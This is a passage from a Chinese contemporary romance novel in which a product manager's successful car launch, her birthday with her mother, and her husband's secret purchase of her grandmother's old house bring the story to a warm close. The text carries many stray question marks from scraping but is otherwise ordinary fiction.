莫名想起她看到他的?第一眼,少年眉眼冷峻,白衣黑裤,问她旁边位置是否有人,冷若霜雪却又让人心动的?一张脸,那个时候哪能?想到他们会亲密至此。 “不是正人君子。” 裴清让抬头,清冷眉眼染上情?欲,眼神直白得令人心颤。 时间没有磨灭少年的?干净俊秀,恍惚之间,好?像又看见十六七岁的?他。 而他埋首在她颈窝,低低喘息着说:“高中的?时候梦到过和?你?这样。”第63章 第 63 章 正在相爱 裴清让身体力行证明他可能是个混蛋这?件事, 也让她意识到,或许她真的如他所说有点人?菜瘾大。 好在这?人?就算是个混蛋也是个温柔的混蛋,没有缠着?她闹太久, 痕迹也都在衣领能盖住的地方,毕竟明天她还有新车发布会要开。 黑料发酵整整一个晚上?, 东恒被骂多惨, 发布会就得到了多少关注, 但是当举办地点破天荒从毫无新意的展厅改到汽车碰撞实?验室, 所有人?都眼前一亮。 营销号转发的视频里, 东恒汽车在碰撞实?验后, 电瓶自动断电, 意味着?如果?发生意外,车主将会被困在车里,无法取得救援。 而在现场的碰撞试验中, 汽车发生重大程度毁损,所有人?等着?看热闹时, 林姰眼神?平静, 心里默念:3、2、1…… 紧接着?备用电池亮起指示灯开始工作, 自动报警和自动求救一气呵成, 谣言不攻自破。 因为沾了营销号的光, 汽车一经发布热度居高不下,买热搜的钱都省下了,林姰大获全胜。 安全性能过?关、用户体验又被做到极致, 她这?个产品经理功不可没,成为在场所有车企、合作商瞩目的焦点。 而她一日既往波澜不惊,直到目光触及人?群之外那?个白衬衣黑色西?装裤的身影,眉眼间慢慢有了弯起的弧度。 发布会现场嘈杂喧闹, 裴清让长身鹤立独独看向?她,和在场所有人?一样为她鼓掌,漆黑眼底熠熠生光,用嘴型无声说:“干得漂亮。” 林姰在发布会结束后,摘下了胸前乐游的工作证。 辛城跟她谈话,希望她接任方茂森的位置、成为产品负责人?,东恒陈友仪也抛出?橄榄枝,给出?产品总监的位置,年薪一跃到了百万,可谓诚意满满。 林姰和陈友仪性格合得来,这?其?中有女性之间的惺惺相?惜,但这?一年时间她太累了,又或者说,这?二十八年来一直如此,所以她在高薪和放假之间任性地选择了后者,决定先gap一年享受肆无忌惮的人?生。 陈友仪笑着?说:“我的offer永远有效,我等你。” 听说黑热搜是陈万豪那?边买的,何坤的营销号被平台封禁且追究法律责任,只不过?这?些都已经和林姰无关。 她注册了一个账号,决定讲一讲她在大厂当牛马的经验,比如怎么反职场霸凌、怎么应对嫡系文化、怎么反领导pua以及怎么防止被同事抢功,给刚入职的小朋友一点点帮助。 而裴清让那?边,卸任苍梧董事长职务之后,一直没有对外公开去向?,倒是很?快有眼尖的人?发现,晏城大学信息科学技术学院电子工程系,出?现了裴清让的蓝底寸照。 很?多年前,林姰也看过?他的寸照,是在学校宣传栏,表彰他拿下奥赛金牌,少年眉眼间尽是让人?心动的意气风发,而如今,那?清俊眉眼间,是让人?不敢造次的肃杀。 作为被导师力保、清清白白回国的那?一个,他最终还是选择继续盛聿生前在做的事情。 据传,裴教授第一节课下课时,围过?来的学生不是想要探讨课程内容,而是意图从他这?里给苍梧投简历,搞得天之骄子略感挫败,回家要他老婆亲了好几下才哄好。 可是,挫败也好,中途退场也罢,这?个鲜活而充满希望的五月,他们在各自的领域闪闪发光- 日历翻到六月的第一天,林姰生日。 她醒来时,裴清让已经上?早八去了。 床头有他上?班前写下的便签,告诉她早饭已经做好、但是需要热一下,晚饭等他回来,不要轻易靠近厨房。 林姰无声弯下眼睛,决定原谅他昨天晚上?不让自己睡觉的恶劣行径。 天气预报今天有雨,当她起身拉开窗帘,阳光一片大好,胸腔跳动的心脏如同云朵绵软。 手机响起提示音,来自妈妈,问她今天中午午饭怎么解决、要不要去她那?儿吃。 林姰应下。 崔女士离婚了、也退休了,自此人?生不再被任何人?和事束缚,每天看书、画画、写字、养花,甚至还在追祝余的小说。 林姰才意识到,原来不被家庭捆绑的崔女士是有很?多爱好的,只不过?在经年累月的柴米油盐中,都被妈妈这?个身份抹杀掉了。 她到时,弟弟开心极了,而崔女士在厨房忙着?:“面条还要煮一会儿,生日礼物在冰箱。” 林姰好奇,伸手拉开冰箱的门?,下一秒鼻头蓦地一酸。 妈妈是外婆的女儿,理所当然会很像外婆。 不易保存的无花果被去掉外皮、整整齐齐码在保鲜盒里冷冻,一盒一盒摞得高高的,每一颗都在这?一刻跟她说“生日快乐”。 弟弟在旁边说,从无花果?上?市之后,每天晚上?写完作业之后,他就和妈妈一起洗无花果?、剥无花果?、冻无花果?…… 他笑出?一对小虎牙,问她:“姐姐,你不会是无花果?精吧?” 午饭,妈妈简简单单炒了几个菜,煮了西?红柿鸡蛋面。 西?红柿去掉外皮切得很?碎,所以煮出?非常浓郁的汤汁,林姰垂着?眼,无声笑了。 崔女士被她笑得心酸,也有些不好意思:“吃个面条就能高兴成这?样,得亏是遇见小裴,要不然你不得被人?家一点好吃的骗走?。” 林姰望向?她,眼睛弯成月牙。 崔美珍这?才发现,她一直以为性格带刺的女儿,其?实?非常容易满足非常容易开心,如今像小刺猬一样露出?了软软的肚皮。 也许是因为,有人?用爱意融化了那?层刺。 昨天小裴就发信息问她,今天是否能叫林姰来吃饭,她记得女儿的生日,说自己的确是这?样打算的。 但是她这?个母亲不称职,摸不准林姰喜欢吃什么,因为林姰是外婆带大的,从小跟她就不亲。 裴清让说,林姰喜欢吃无花果?,喜欢吃西?红柿鸡蛋面,但是西?红柿麻烦妈妈去一下皮。 午饭后,林姰在暖融融的阳光里和崔女士告别,手里还提着?够她吃一个夏天的无花果?。 回家路上?,车子拐了个弯,来到鹿南路7号。 外婆生前的老房子,一直被人?定期打扫却无人?居住,院子整洁如初,花草也被人?定期修理照顾。 只是这?么有闲情逸致,为什么要砍掉那?棵无花果?树呢? 物业对户主信息保密,不可能告诉她一个外人?,林姰也不想用侵犯别人?隐私的途径、去拿房主的联系方式,只能时不时来碰碰运气。 想要买下这?里的事,她从来没有跟裴清让提过?,因为怕这?人?一掷千金讨她欢心。 她来得太频繁,即使周围住户已经不是十多年前的那?批,但都已经认识她,还说要帮她留意。 再一次无功而返,林姰转身要走?,却被人?从身后叫住—— “林小姐!” 林姰微微颔首,跟热情的邻居家阿姨问好。 阿姨说:“前阵子来过?一个男人?,个子高高的,一身黑西?装,开的车看起来也很?贵,我猜他可能是房主,就是没好意思上?去问他叫什么名字,结果?你猜怎么着??我在新闻上?看到他了……” 林姰心脏提起,果?然是有钱人?,还是有头有脸的有钱人?,恐怕自己出?钱打动不了人?家了…… 说着?,邻居阿姨拿出?手机,绕开花里胡哨一堆app点开相?册,给她看新闻截图,截图上?面写着?:“苍梧创始人?兼CEO裴清让卸任董事长一职……” 林姰目光凝滞无法言语,邻居阿姨还在耳边喋喋不休:“长得帅个子高还有钱,可惜手上?有婚戒,不然真想介绍给我女儿……”- 晏城大学电子工程系来了个冰山帅哥。 帅哥高智商高学历,英俊面孔年轻得吓人?,但没有人?会质疑他的能力,那?个神?仙打架的苍梧科技是他一手创办,一整个苍梧都是他的科研成果?。 他带的那?门?课晦涩难懂挂科率奇高,但是不妨碍他来之后,教室里学生爆满。 有大开眼界 的学生,震惊之余把他上?课的照片发到网上?,标题是【什么课还要总裁亲自来上?】,当晚就得到了苍梧法务部的亲切问候。 裴清让上?课的时候声线清冷温和,没有一句废话,脸上?也没有笑意,但总能把非常深奥的东西?三?两?句话讲得浅显易懂,只不过?这?种温和的底色是淡漠疏离。 这?人?看履历是“神?中神?”,来学校之前权势地位凌驾众人?之上?,放在这?教书着?实?有点“降维打击”,往那?一站就是个大佬,让人?有无法亲近之感。 可这?么一个高高在上?的人?,唯一一次被人?看到他笑,是课间他在教室外面走?廊打电话,修长漂亮的手上?婚戒不可忽视:“该起床吃早饭了,还要再赖一会儿吗?我很?快就回家。” 那?平直的嘴角难得勾着?,冰冰冷冷的声线温柔得致命,低垂的睫毛都染了一层纵容的笑意。 那?画面太具冲击力,也因此裴教授凭一己之力拔高了女学生们的择偶要求,纷纷表示找老公就得找又帅又深情又有钱又温柔的,不然找了做什么?当老板伺候为奴为婢吗? 外面天色暗下来,忽然淅淅沥沥下起雨,这?天的课程马上?就要结束。 突然,讲台上?冰冷美貌不苟言笑的人?,好看的眉眼倏然一弯,嘴角勾起的弧度特别漂亮。 台下女生不约而同倒抽一口冷气,他笑了,还笑得这?样好看,当老师的帅成这?样有没有考虑过?学生的感受? 有胆大的学生问:“老师笑什么呢?” 裴清让眉眼弯弯,眼睛看着?教室后门?某个人?的位置,温声说:“我爱人?来接我了,下课。” 黑色雨伞再次举过?头顶。 不一样的是,这?次是她来接他。 而一样的是,那?把伞永远朝着?林姰的方向?倾斜- 回家路上?,他们一起去取了裴清让订好的生日蛋糕。 蛋糕放到餐桌,裴清让刚要去换衣服,被林姰伸手抱住腰:“别动,先给我抱一会儿,都一天没见了。” 说自己不喜欢粘人?、不喜欢整天腻在一起的林姰,用行动证明自己说谎了。 脸埋在裴清让气息清冽治愈的怀里,深深吸了口气,她闷声说道:“我能去上?你的课吗?” 裴清让揉了揉她的脑袋,低声说:“那?我恐怕要无心上?课,只想看你了。” 好半天,林姰仰起脸,下巴抵在裴清让怀里:“裴清让,你有没有什么事瞒着?我。” 她绷着?脸非常严肃,眼神?却很?软,剔透瞳孔里的喜欢和依赖从不掩饰。 裴清让想了下,淡声说:“中午给学生看论文,被气得没有吃午饭。” 林姰气呼呼在他腰上?捏了把:“还有呢,还有没有什么瞒着?我的?” 裴清让抿唇:“背着?你喝了一杯奶茶,忘记给你带。” 林姰有点想笑,但是忍住,继续威逼利诱:“还有呢?” 裴清让长睫低垂,清澈如水的眼睛在睫毛加持之下显得特别无辜:“我每天上?班之前都会偷亲你一下。” 林姰咬住上?扬的嘴角,就用“你做了什么我都知道你给我如实?招来”的眼神?,看着?他。 “好吧,半夜醒来的时候也会亲。” 林姰还是不说话。 “好吧,不止一下。” 裴清让抚摸她的脸颊:“因为很?像在做梦。” 林姰心脏软成一片,踮起脚尖在他唇上?啄了一记:“还有呢,有没有别的了?” 裴清让轻轻摇头。 视线相?对,林姰轻声开口,喉咙发涩:“外婆家的房子,是你买下来的?” 裴清让松了口气:“去年送你的生日礼物是不是从来没有打开看过??” 那?个时候的他们,在林姰看来只是结婚搭子,而他送礼物,是以婚姻存续期间报酬的名义。 就好像把自己的真心揉皱扔给她,告诉她这?只是一团毫无价值的废纸。 林姰去到卧室,在抽屉里找到一年前生日、裴清让送她的牛皮纸信封,抽出?那?份《房屋赠与协议》。 协议里房屋坐落位置,赫然写着?:鹿南路7号。 “所以我吃到的无花果?……” “是外婆种的那?棵。” 林姰眼眶无可救药地发热:“为什么要买下这?套房子?” “因为跟你承诺过?,”裴清让俯身,轻吻她额头,“小狗一直等你回来。” 窗外蝉鸣阵阵,粲然热烈的夏季悄无声息到来。 或许,裴清让没告诉她的事情还有很?多,就好像在平凡无奇的人?生里,给她埋下一颗又一颗的彩蛋,等她发现。 而每一颗彩蛋敲碎,里面都是干净胆怯而又热烈的“我喜欢你”- 后来。 祝余那?部先婚后爱、男暗恋女的小说,搬上?荧幕。 剧终的最后一幕,出?现了那?张十几年前的明信片。 泛黄的纸张上?,名字被模糊掉,爱意却永远清晰。 那?是这?部剧的最后一个彩蛋,明信片的下方写着?: “本剧部分?情节取材现实?。 镜头之外,现实?之中,他们正在相?爱。”